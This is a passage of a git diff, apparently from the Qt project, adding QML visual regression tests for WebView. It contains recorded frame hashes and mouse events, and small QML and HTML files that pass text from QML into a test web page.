sendToViewport: true + } + Frame { + msec: 3808 + hash: "96f727ef0dacfda9ea77fb5651493030" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 74; y: 174 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 74; y: 173 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3824 + hash: "96f727ef0dacfda9ea77fb5651493030" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 74; y: 172 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3840 + image: "windowObjects.3.png" + } + Frame { + msec: 3856 + hash: "96f727ef0dacfda9ea77fb5651493030" + } + Frame { + msec: 3872 + hash: "96f727ef0dacfda9ea77fb5651493030" + } + Frame { + msec: 3888 + hash: "96f727ef0dacfda9ea77fb5651493030" + } + Frame { + msec: 3904 + hash: "96f727ef0dacfda9ea77fb5651493030" + } + Frame { + msec: 3920 + hash: "96f727ef0dacfda9ea77fb5651493030" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 75; y: 171 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 76; y: 171 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3936 + hash: "96f727ef0dacfda9ea77fb5651493030" + } + Frame { + msec: 3952 + hash: "96f727ef0dacfda9ea77fb5651493030" + } + Frame { + msec: 3968 + hash: "96f727ef0dacfda9ea77fb5651493030" + } + Frame { + msec: 3984 + hash: "ed7b3d93d690df73be5cbee8c41a1931" + } + Frame { + msec: 4000 + hash: "ed7b3d93d690df73be5cbee8c41a1931" + } + Frame { + msec: 4016 + hash: "ed7b3d93d690df73be5cbee8c41a1931" + } + Frame { + msec: 4032 + hash: "ed7b3d93d690df73be5cbee8c41a1931" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 76; y: 170 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4048 + hash: "ed7b3d93d690df73be5cbee8c41a1931" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 77; y: 169 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 78; y: 168 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4064 + hash: "ed7b3d93d690df73be5cbee8c41a1931" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 79; y: 168 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4080 + hash: "ed7b3d93d690df73be5cbee8c41a1931" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 81; y: 167 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 81; y: 166 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4096 + hash: "ed7b3d93d690df73be5cbee8c41a1931" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 82; y: 165 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4112 + hash: "ed7b3d93d690df73be5cbee8c41a1931" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 83; y: 164 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4128 + hash: "ed7b3d93d690df73be5cbee8c41a1931" + } + Frame { + msec: 4144 + hash: "ed7b3d93d690df73be5cbee8c41a1931" + } + Frame { + msec: 4160 + hash: "ed7b3d93d690df73be5cbee8c41a1931" + } + Frame { + msec: 4176 + hash: "ed7b3d93d690df73be5cbee8c41a1931" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 83; y: 164 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4192 + hash: "5b3505be865f704640e81cea092d35ba" + } + Frame { + msec: 4208 + hash: "5b3505be865f704640e81cea092d35ba" + } + Frame { + msec: 4224 + hash: "5b3505be865f704640e81cea092d35ba" + } + Frame { + msec: 4240 + hash: "5b3505be865f704640e81cea092d35ba" + } + Frame { + msec: 4256 + hash: "5b3505be865f704640e81cea092d35ba" + } + Frame { + msec: 4272 + hash: "5b3505be865f704640e81cea092d35ba" + } + Frame { + msec: 4288 + hash: "5b3505be865f704640e81cea092d35ba" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 83; y: 164 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4304 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 4320 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 4336 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 4352 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 4368 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 4384 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 4400 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 4416 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 4432 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 4448 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 4464 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 85; y: 158 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 85; y: 156 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4480 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 86; y: 154 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 86; y: 152 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4496 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 87; y: 150 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 89; y: 144 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4512 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 93; y: 138 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 99; y: 134 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4528 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 101; y: 128 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 105; y: 122 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4544 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 109; y: 114 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 113; y: 108 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4560 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 114; y: 106 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 114; y: 105 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4576 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 115; y: 104 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 115; y: 102 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4592 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 115; y: 100 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 116; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4608 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 120; y: 92 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 122; y: 86 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4624 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 126; y: 76 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 130; y: 66 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4640 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 132; y: 56 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 134; y: 46 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4656 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 136; y: 38 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 138; y: 30 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4672 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 140; y: 22 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 141; y: 20 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4688 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 143; y: 14 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 144; y: 12 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4704 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 144; y: 11 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 144; y: 9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4720 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 144; y: 7 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 144; y: 6 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4736 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 143; y: 4 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 143; y: 2 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4752 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 143; y: 1 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4768 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 4784 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 4800 + image: "windowObjects.4.png" + } + Frame { + msec: 4816 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 4832 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 4848 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 4864 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 4880 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 4896 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 4912 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 4928 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 4944 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 4960 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 4976 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 4992 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5008 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5024 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5040 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5056 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5072 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5088 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5104 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5120 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5136 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5152 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5168 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5184 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5200 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5216 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5232 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5248 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5264 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5280 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5296 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5312 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5328 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5344 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5360 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5376 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5392 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5408 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5424 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5440 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5456 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5472 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5488 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5504 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5520 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5536 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5552 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5568 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } + Frame { + msec: 5584 + hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" + } +} diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/evaluateJavaScript.qml b/tests/auto/declarative/qmlvisual/webview/javascript/evaluateJavaScript.qml new file mode 100644 index 0000000..6c01382 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/javascript/evaluateJavaScript.qml @@ -0,0 +1,32 @@ +import Qt 4.6 +import org.webkit 1.0 + +Column { + WebView { + id: webview + width: 200 + height: 200 + url: "test-objects.html" + javaScriptWindowObjects: + QtObject { + property string text: btntext.text + WebView.windowObjectName: "qmltext" + onTextChanged: { + webview.evaluateJavaScript("{document.getElementById('button').value=window.qmltext.text}") + } + } + } + Row { + Text { text: "Input:" } + Rectangle { + width: btntext.width+10 + height: btntext.height+10 + border.color: "black" + TextInput { + id: btntext + text: "Blah" + cursorDelegate: Rectangle { width: 1; color: "red" } + } + } + } +} diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/test-objects.html b/tests/auto/declarative/qmlvisual/webview/javascript/test-objects.html new file mode 100644 index 0000000..ed7d2ea --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/javascript/test-objects.html @@ -0,0 +1,12 @@ + + + + +

Boring Document

+

+This is a boring document. +It gets the text on this button: + +from QML. +

diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/windowObjects.qml b/tests/auto/declarative/qmlvisual/webview/javascript/windowObjects.qml new file mode 100644 index 0000000..8c52aff --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/javascript/windowObjects.qml @@ -0,0 +1,27 @@ +import Qt 4.6 +import org.webkit 1.0 + +Column { + WebView { + width: 200 + height: 200 + url: "test-objects.html" + javaScriptWindowObjects: + QtObject { + property string text: btntext.text + WebView.windowObjectName: "qmltext" + } + } + Row { + Text { text: "Input:" } + Rectangle { + width: btntext.width+10 + height: btntext.height+10 + border.color: "black" + TextInput { + id: btntext + text: "Blah" + } + } + } +} diff --git a/tests/auto/declarative/qmlvisual/webview/settings/data/fontFamily.0.png b/tests/auto/declarative/qmlvisual/webview/settings/data/fontFamily.0.png new file mode 100644 index 0000000..7721e75 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/settings/data/fontFamily.0.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/settings/data/fontFamily.qml b/tests/auto/declarative/qmlvisual/webview/settings/data/fontFamily.qml new file mode 100644 index 0000000..195c3ba --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/settings/data/fontFamily.qml @@ -0,0 +1,395 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 32 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 48 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 64 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 80 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 96 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 112 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 128 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 144 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 160 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 176 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 192 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 208 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 224 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 240 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 256 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 272 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 288 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 304 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 320 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 336 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 352 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 368 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 384 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 400 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 416 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 432 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 448 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 464 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 480 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 496 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 512 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 528 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 544 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 560 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 576 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 592 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 608 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 624 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 640 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 656 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 672 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 688 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 196; y: 25 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 194; y: 19 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 190; y: 13 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 704 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 720 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 736 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 752 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 768 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 784 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 800 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 816 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 832 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 848 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 864 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 880 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 896 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 912 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 928 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 944 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 960 + image: "fontFamily.0.png" + } + Frame { + msec: 976 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 992 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1008 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1024 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1040 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1056 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1072 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1088 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1104 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1120 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1136 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1152 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1168 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1184 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1200 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1216 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1232 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1248 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1264 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1280 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1296 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1312 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1328 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1344 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1360 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1376 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1392 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1408 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1424 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1440 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } + Frame { + msec: 1456 + hash: "5d66fdee6a0a96bb24e89244f02eacc9" + } +} diff --git a/tests/auto/declarative/qmlvisual/webview/settings/data/fontSize.0.png b/tests/auto/declarative/qmlvisual/webview/settings/data/fontSize.0.png new file mode 100644 index 0000000..95196a1 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/settings/data/fontSize.0.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/settings/data/fontSize.qml b/tests/auto/declarative/qmlvisual/webview/settings/data/fontSize.qml new file mode 100644 index 0000000..438ffa5 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/settings/data/fontSize.qml @@ -0,0 +1,339 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 32 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 48 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 64 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 80 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 96 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 112 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 128 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 144 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 160 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 176 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 192 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 208 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 224 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 240 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 256 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 272 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 288 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 304 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 320 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 336 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 352 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 368 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 384 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 400 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 416 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 432 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 448 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 464 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 480 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 496 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 512 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 528 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 544 + hash: "962e77f522956d38f3b1b890df749f0a" + 